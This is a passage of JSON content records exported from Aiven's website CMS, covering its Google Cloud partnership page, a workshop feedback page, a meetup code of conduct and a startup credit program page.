center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"2ue1jkirrd8g8vkworfhfiybq0jmjgbw","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Try it now"},"image":{"_type":"mainImage","asset":{"_ref":"image-afaca998eee73040f864d56d6517b279b04c7a95-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"80or0khpyqf7qh2cjdsza54zf9a4k3hb","_type":"block","children":[{"_key":"dicfuh13kc33z4quxkqlhs0ccw4lljk3","_type":"span","marks":[],"text":"The best of Google and Aiven for demanding PostgreSQL workloads. Aiven for AlloyDB Omni combines the power of Google Cloud's industry-leading database service AlloyDB Omni, with the ease of use and multi-cloud flexibility of the Aiven platform for Google Cloud, AWS, and Azure."}],"markDefs":[],"style":"normal"}],"title":"Aiven for AlloyDB Omni","variant":"default"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"bbcbd313136d","_type":"logoList","disabled":false,"fullWidth":false,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"452180231ee2","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"74ca6570613e","_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},{"_key":"623facc2bf8b","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"109a2d589061","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"f7b9cb8e9fe2","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},{"_key":"1bbfde8a5935","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/case-studies?hostProviders=Google%2520Cloud","title":"Explore all Aiven on Google Cloud stories"},"rounded":false,"tagline":"Our products are trusted by industry leaders across the world","variant":"logo"},{"_key":"3fe62b725122","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"roundedCorners":"rounded-tr","tagline":"Aiven is Google Cloud breakthrough partner of the year 2023","text":[{"_key":"f3fda357ee2a","_type":"block","children":[{"_key":"8a3d9cc737930","_type":"span","marks":[],"text":"Aiven accelerates your time-to-market by streamlining setup, configuration, security, maintenance, and reliability tasks, so you can focus on your core business and applications that amaze your customers."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven on Google Cloud?","variant":"mediaRight","ytId":"qGRDSfTgahc"},{"_key":"c081a6856ef9","_type":"iconList","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"b32368b2e485","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f557cae4e806","_type":"block","children":[{"_key":"f4b765c529d40","_type":"span","marks":[],"text":"We guard your data infrastructure like our own, with dedicated virtual machines, TLS encryption and VPC peering on Google Cloud."}],"markDefs":[],"style":"normal"}],"title":"Security"},{"_key":"59aaf76c5e81","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d6c385ab6bf4","_type":"block","children":[{"_key":"78f7b138a5960","_type":"span","marks":[],"text":"Get your questions and tickets handled by members of Aiven core development teams, instead of outsourced support specialists."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"a46cde92a19e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7207c22dc277","_type":"block","children":[{"_key":"3c47129522370","_type":"span","marks":[],"text":"Aiven uptimes can't be beat - we promise to have your services running 99.99% of the time."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"b55bef62d6c3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2f8a96399077","_type":"block","children":[{"_key":"6838e4d1c0af0","_type":"span","marks":[],"text":"Receive a single invoice from Google Cloud, instead of two separate bills from Google Cloud and Aiven."}],"markDefs":[],"style":"normal"}],"title":"Easy billing"},{"_key":"ae4f31c47f65","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-bda93dbe58712282f2d4113904f1aabf01149f70-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4aee7a187a56","_type":"block","children":[{"_key":"4fe3b17807850","_type":"span","marks":[],"text":"Purchases of Aiven services through the Google Cloud marketplace will also count towards your cloud spending commitments with Google Cloud."}],"markDefs":[],"style":"normal"}],"title":"Consume commitment"},{"_key":"42266e455ffe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"73b798fa37f7","_type":"block","children":[{"_key":"3f4fbf672d4d0","_type":"span","marks":[],"text":"When deploying Aiven services on Google Cloud you will run your services purely on renewable energy with industry leading Power Usage Effectiveness (PUE)."}],"markDefs":[],"style":"normal"}],"title":"Sustainability"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-bl"},{"_key":"dec13023b48b","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-96beb39ee1bef79cb67e71ac6f9e6d4c7e7e3b3e-721x721-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":true,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.cloud.google.com/marketplace/browse?q=aiven\u0026project=aiven-public","title":"Launch Aiven on the marketplace"},"text":[{"_key":"018245784979","_type":"block","children":[{"_key":"06bd07ba318c0","_type":"span","marks":[],"text":"With Marketplace, Google Cloud customers can deploy Aiven cloud services with a few clicks. Fully-managed Aiven cloud services for Apache Kafka®, OpenSearch®, Apache Cassandra®, Redis®*, PostgreSQL®, MySQL, and Dragonfly are available. Apache Kafka® Connect and Apache Kafka® MirrorMaker 2.0 are also available to provide the most mature and complete open source Kafka streaming platform service on Google Cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven on Google Cloud Marketplace","variant":"mediaLeft"},{"_key":"ce90d4e608bc","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fca8774b715f82f093a41075890165521a195e65-1624x1208-png","_type":"reference"}},"mediaWidth":"w-2/3","roundedCorners":"rounded","text":[{"_key":"52c1ce7a99a7","_type":"block","children":[{"_key":"ce750e4e4d830","_type":"span","marks":["f383f3e0cb80"],"text":"Aiven BYOC"},{"_key":"8bef8b25d002","_type":"span","marks":[],"text":" enables customers to deploy Aiven’s data services directly to their Google Cloud account. This provides customers the flexibility to use Google Cloud for compute, storage, and networking - and to consolidate their cloud spend with Google to amplify cost saving opportunities."}],"markDefs":[{"_key":"f383f3e0cb80","_type":"internalLink","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"}}],"style":"normal"}],"title":"Bring Your Own Cloud (BYOC) on Google Cloud","variant":"mediaCenter"},{"_key":"19b3d57a6caf","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","items":[{"_key":"d776cca48caa","_ref":"5a685ddf-3043-4ce1-9f9a-206737d7b7de","_type":"devArticle"},{"_key":"0d97ae156f27","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"},{"_key":"1515715f5fa263058a3476e67c6b61a3","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"792f75033852","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5a685ddf-3043-4ce1-9f9a-206737d7b7de","_type":"reference"},"title":"Learn more"},"subtitle":[{"_key":"974d6b73c4ce","_type":"block","children":[{"_key":"aeb8f8c5cfcb0","_type":"span","marks":[],"text":"Learn how to draw meaningful conclusions from ecommerce data using Apache Flink® as a data pipeline into Google BigQuery"}],"markDefs":[],"style":"normal"}],"title":"Data refinement in action: Apache Flink® for data transformation into Google BigQuery","variant":"default"},{"_key":"8390cc7d08008a46d6aac49b8b69e09d","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"},"title":"Learn more"},"subtitle":[{"_key":"cd77dcd360f1","_type":"block","children":[{"_key":"f5b995b922680","_type":"span","marks":[],"text":"Aiven enters Google Cloud Ready - BigQuery designation and launches new Apache Flink® to BigQuery sink connector to tightly connect streaming data with BigQuery’s ecosystem"}],"markDefs":[],"style":"normal"}],"title":"Aiven is connecting streaming data with the Google BigQuery ecosystem","variant":"default"},{"_key":"f3bc3a44e94783810a9746f585098725","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/get-started","title":"Learn more"},"subtitle":[{"_key":"2f24475da421","_type":"block","children":[{"_key":"f805f15387bc0","_type":"span","marks":[],"text":"Aiven provides managed open source services for streaming, storing and analyzing data on all major clouds"}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven Docs","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"},{"_key":"t1seep1tv9r9s09zwa16f5ni78u12oel","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008-jpg","_type":"reference"}},"imagePosition":"top","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"},"title":"Download IDC InfoBrief "},"roundedCorners":"rounded-none","tagline":"Whitepaper","text":[{"_key":"if2cipg0g6umg4yejwmgg2n19gya3apn","_type":"block","children":[{"_key":"9vy989bf1lzfu4pzqtizh8qb95bkanu9","_type":"span","marks":[],"text":"Explore the essentials for AI success in our latest InfoBrief, \"Building a Cloud Data Foundation for the AI Era,\" sponsored by Aiven and Google Cloud."}],"markDefs":[],"style":"normal"}],"title":"Building a Cloud Data Foundation for the AI Era","variant":"mediaLeft"},{"_key":"ef56c3e545ba","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":true,"isCarousel":true,"items":[{"_key":"40eea9ab16ad","_ref":"6RKIzfTvV95lb8Kl2J4oMZ","_type":"reference"},{"_key":"2002ca827b45","_ref":"3c97f2cf-4e4a-4ec4-9d91-103aeeb23f73","_type":"reference"},{"_key":"d6278e62edf9","_ref":"fdd9525f-8e77-42b1-a3b3-b53afcef15f5","_type":"reference"},{"_key":"14819c7c05e0","_ref":"2kswTS7rv1VzgRFxX25lT9","_type":"reference"},{"_key":"1fe78cb301cd","_ref":"3jhoeW4WtmLGAT0ZFNUpSq","_type":"reference"},{"_key":"d78e4cf5bc13","_ref":"53li6msd6VWJeX3g6OX249","_type":"reference"}],"roundedCorners":"rounded-t","subtitle":[{"_key":"f1d46e1d9f0f","_type":"block","children":[{"_key":"46bbb113e92d0","_type":"span","marks":[],"text":"We are proud to help customers from all industries, small and large, to accomplish their goals."}],"markDefs":[],"style":"normal"}],"title":"Get inspired by real life success stories","variant":"logo"}],"seo":{"_type":"metaData","metaDescription":"Leverage the powerful, proven open source data services you know and love on Google Cloud. Easy setup, real human support, integration with your GCP billing, and the option to BYOC.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven + Google Cloud Partnership"},"slug":{"_type":"slug","current":"/googlecloud"},"title":"Aiven + Google Cloud Partnership"} {"__i18n_lang":"en","_createdAt":"2024-04-02T07:00:48Z","_id":"ec660389-57b5-4f0c-9577-5dc039f87f5f","_rev":"06CnkCNLb8AnjQwiBTWyTN","_type":"page","_updatedAt":"2024-06-11T14:10:35Z","content":[{"_key":"a0db3f2dd19b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Build a movie recommendation app with Tensorflow and pgvector","parentPage":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer Workshops"}},"description":[{"_key":"f42a4b6e04d9","_type":"block","children":[{"_key":"943310a718f90","_type":"span","marks":[],"text":"We hope you had a great time!\nAny feedback for us? Feel free to share your thoughts on our feedback form!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Help us to improve your experience","externalUrl":"https://go.aiven.io/feedback-movie-workshop","title":"Submit feedback"},"roundedCorners":"rounded-none","title":"Thank you for attending our workshop!","titleMultiColor":false,"variant":"default"},{"_key":"f1f7f561b75c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Community Forum"},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the forum "},"roundedCorners":"rounded-none","tagline":"Aiven Community Forum","text":[{"_key":"666c8e64caa5","_type":"block","children":[{"_key":"7d13ae66af6a0","_type":"span","marks":[],"text":"Ask questions, collaborate on open source, and find resources from our meetups."}],"markDefs":[],"style":"normal"}],"title":"Continue the conversation","variant":"mediaCenter"},{"_key":"ed40323e07de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"a8db57da771d","_ref":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_type":"devArticle"},{"_key":"cc1f638754ea","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"8540028233ff","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Upcoming live workshops"},"image":{"_type":"mainImage","alt":"Developer workshops","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"subtitle":[{"_key":"9b3ad5cc614e","_type":"block","children":[{"_key":"6a13a13d36730","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"}],"tagline":"Learn online","title":"Developer workshops","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"internalTags":[{"_key":"83aca2737b6a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Any feedback for us? Feel free to share your thoughts on our feedback form!","metaImage":{"_type":"mainImage","alt":"Aiven developer advocates","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"metaTitle":"Thank you for attending our developer workshop!"},"slug":{"_type":"slug","current":"/movie-recommender-workshop-feedback"},"title":"Thank you for attending the workshop"} {"__i18n_lang":"en","_createdAt":"2023-05-03T11:27:18Z","_id":"d1204dcd-85a1-4a43-828f-c011799f0bc8","_rev":"CsJhS699U5wscrFy7hzEe8","_type":"page","_updatedAt":"2024-12-11T16:34:46Z","content":[{"_key":"255c84eb8950","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","description":[{"_key":"d357e653d428","_type":"block","children":[{"_key":"4ced6bdaa1a10","_type":"span","marks":[],"text":"All attendees, speakers, sponsors, and volunteers at an "},{"_key":"27348990a44f","_type":"span","marks":["8f9bc83286b1"],"text":"Open Source Data Infrastructure meetup"},{"_key":"256333218652","_type":"span","marks":[],"text":" are required to agree with the following Code of Conduct. Organizers will enforce this code throughout the event. We are expecting cooperation from all participants to help ensure a safe environment for everybody.\n"}],"markDefs":[{"_key":"8f9bc83286b1","_type":"link","href":"https://www.meetup.com/pro/open-source-data-infrastructure-community/"}],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9dfc7ceba38a88e1e14cbb62e8b983dda1177f01-606x599-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Aiven Community","title":"Code of Conduct - Open Source Data Infrastructure meetup","variant":"default"},{"_key":"3b4e9f8767ef","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b9b029bf147c","_type":"block","children":[{"_key":"375fb64ab33c0","_type":"span","marks":[],"text":"Our meetup group is dedicated to providing a harassment-free event experience for everyone, regardless of gender, gender identity and expression, age, sexual orientation, disability, physical appearance, body size, race, ethnicity, religion (or lack thereof), or technology choices. We do not tolerate harassment in any form. Sexual language and imagery is not appropriate for any event venue, including talks, workshops, parties, Twitter, and other online media. Participants violating these rules may be expelled from the event at the discretion of the organizers."}],"markDefs":[],"style":"normal"}],"title":"The quick version","variant":"oneColumn"},{"_key":"ee294d5afc6be00759c21aec3fcb9c3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"03ad93f94f00","_type":"block","children":[{"_key":"cd9c7a6801900","_type":"span","marks":[],"text":"Harassment includes offensive verbal comments related to gender, gender identity and expression, age, sexual orientation, disability, physical appearance, body size, race, ethnicity, religion, technology choices, the choice to wear a protective face mask, sexual images in public spaces, deliberate intimidation, stalking, following, harassing photography or recording, sustained disruption of talks or other events, inappropriate physical contact, and unwelcome sexual attention. Participants asked to stop any harassing behavior are expected to comply immediately."}],"markDefs":[],"style":"normal"},{"_key":"d11b3f04de75","_type":"block","children":[{"_key":"03212b17664d0","_type":"span","marks":[],"text":"Sponsors are also subject to the anti-harassment policy. In particular, sponsors should not use sexualized images, activities, or otherwise create a sexualized environment."}],"markDefs":[],"style":"normal"},{"_key":"9bd96750982e","_type":"block","children":[{"_key":"520d88d7592b0","_type":"span","marks":[],"text":"If any participant engages in harassing behavior, the organizers may take any action they deem appropriate, including warning the offender or expulsion from the event (series)."}],"markDefs":[],"style":"normal"},{"_key":"c18f4d8a8b20","_type":"block","children":[{"_key":"174ef345571d","_type":"span","marks":[],"text":"Reporting an issue"}],"markDefs":[],"style":"h3"},{"_key":"b8daf468ec1a","_type":"block","children":[{"_key":"fcef002f85f50","_type":"span","marks":[],"text":"If you are being harassed, notice that someone else is being harassed, or have any other concerns, please contact the local organizers immediately, they will have communicated ways to connect with them."}],"markDefs":[],"style":"normal"},{"_key":"217eb31f7541","_type":"block","children":[{"_key":"61b6861610ff0","_type":"span","marks":[],"text":"We’re happy to help participants contact venue security or local law enforcement, provide escorts, or otherwise assist those experiencing harassment to feel safe for the duration of the event. We value your attendance."}],"markDefs":[],"style":"normal"},{"_key":"4111c9e860ff","_type":"block","children":[{"_key":"b68bbb8f37fb0","_type":"span","marks":[],"text":"We expect participants to follow these rules at the event venue and related social events."}],"markDefs":[],"style":"normal"},{"_key":"8fcd695f8faf","_type":"block","children":[{"_key":"ecb944ae7d650","_type":"span","marks":[],"text":"For concerns you feel you can’t raise with the local organizers, please contact a member of our Global Code of Conduct team:"}],"markDefs":[],"style":"normal"},{"_key":"c3441f7e511c","_type":"block","children":[{"_key":"7b909de510080","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"The less quick version","variant":"oneColumn"},{"_key":"eba7ae2aaa85","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"de3c208d011a","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"default"}],"seo":{"_type":"metaData","metaDescription":"Aiven is dedicated to providing a harassment-free event experience for everyone at the Open Source Data Infrastructure meetups. Find out how to report concerns.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Code of Conduct | Aiven Community"},"slug":{"_type":"slug","current":"/community/code-of-conduct"},"title":"Community - Code of conduct"} {"__i18n_lang":"en","_createdAt":"2024-06-06T09:12:30Z","_id":"59a044bc-d83e-45cf-8ed8-872992ddbee6","_rev":"PyQmlbx4fuBwfv1MU7BO9S","_type":"page","_updatedAt":"2024-10-04T13:49:34Z","content":[{"_key":"e92e62208e6d","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"3d1da6db6015","_type":"block","children":[{"_key":"0b5dffe41e5e0","_type":"span","marks":[],"text":"Join the Aiven Cluster startup program and access $10,000 credit to help you build your data infrastructure using Aiven services, and take your startup to the next level."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"hideHostProviderTitle":true,"hostProviders":[{"_key":"0cdd33555a2f","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f6e8c539af9b3da254ca8d9692d2913d789f79e0-1753x1933-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven-cluster.typeform.com/AivenClusterxDO","title":"Apply now"},"tagline":"Aiven Cluster Startup Program for the Digital Ocean Hatch Community","title":"Scale up your startup","titleMultiColor":false,"topOverlap":false,"variant":"default"},{"_key":"9mtfhl2hl1gvj1ih38oifsczk15kxp7g","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"5dql5ctczy9r074mubvce00hhf86d8s6","_type":"block","children":[{"_key":"qblw9yxc6v20cslpldlqi4ggihxyti8t","_type":"span","marks":[],"text":"Aiven’s all-in-one cloud data "},{"_key":"8h3l6kyg05yuf5x3elh7iov4htopobai","_type":"span","marks":[],"text":"platform"},{"_key":"ycwnjd0wdburkqtcevb7m3osbqzfbciq","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers."}],"markDefs":[],"style":"normal"},{"_key":"lps36d96595oalhw1qgr28pxqsguim90","_type":"block","children":[{"_key":"1ekrm9qak4axez1my7fa1tgdj8olyz7k","_type":"span","marks":[],"text":"Unlock $10,000 in credit for Aiven's fully managed services for an entire year through our exclusive Cluster startup program. Gain access to our expert support and join a vibrant community of like-minded entrepreneurs and engineers, all dedicated to achieving greatness together."}],"markDefs":[],"style":"normal"}],"title":"Everything you need to get things done","variant":"mediaLeft"},{"_key":"bgcva17fwkjnkowqg1e22a0a6t4nte64","_type":"iconList","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"t1gud9ea7bruvvip9i3wls4xq2n6ipjq","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fi6fzwl7xtxom076sf6z6p578581cjn3","_type":"block","children":[{"_key":"84sgaxkfwuzqgamtzxmwkyb5lgjehlqe","_type":"span","marks":[],"text":"Access $10,000 in credits to spend on Aiven services over a 12 month period. Available to all startups in the Digital ocean Hatch program that are maximum 7 years old."}],"markDefs":[],"style":"normal"}],"title":"Credits"},{"_key":"9bqzckmn9g6dordyf5ksl9e9v680tdq9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"xaz1ic2oocvl09lwh7qcghwqstkf246r","_type":"block","children":[{"_key":"uj6bvjwictgnylm7x5p5t7yyiqx6860t","_type":"span","marks":[],"text":"Access knowledge and insight from your peers and from members of the Aiven team, or Crabs as we like to call them, through community channels, including the Cluster Slack, and "},{"_key":"z69ly3wrn5bv9zzc9tzn63k7bmj10pmd","_type":"span","marks":[],"text":"Aiven Community Forums"},{"_key":"6m7cc13gy7iif9ms5te73ntk4jk7xpeh","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"i4hgn0oet23igi7pwzi9c8ccjphtrcrz","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"}],"title":"Knowledge"},{"_key":"kl05wcslehu2sil8swqaokl3aqnwb79n","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"xo5qamv5k01uuxzmh6md4lt7968f8bm8","_type":"block","children":[{"_key":"ao8b5wknm2b24rwim1i34ol35yoo7n4k","_type":"span","marks":[],"text":"Raise awareness of your company and your products by featuring on the Aiven blog, social media channels, and by participating in Aiven events,"}],"markDefs":[],"style":"normal"}],"title":"Promotion"},{"_key":"kedax2a8pzqhjcu07z9v0ptpvvpn2l6b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6tvd49vnuxm2n50um8id60o4p9wo89po","_type":"block","children":[{"_key":"58b7remi1mvakg7qvlinforc5lnbb4hv","_type":"span","marks":[],"text":"Access to Aiven's technical support service to ensure that you get the most from Aiven's service, and that you can meets needs of your customers as your business scales."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"r4yok7ztnj0nptrxab0wstortc7b9pq3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4tmceqe5uwikdm89zkifs55jkr6iwpsw","_type":"block","children":[{"_key":"k1pw14stxjx378ll18tv9a3b9r4gvypl","_type":"span","marks":[],"text":"Virtual events on relevant topics for early stage startups. Everything from data infrastructure, to product development, hiring and 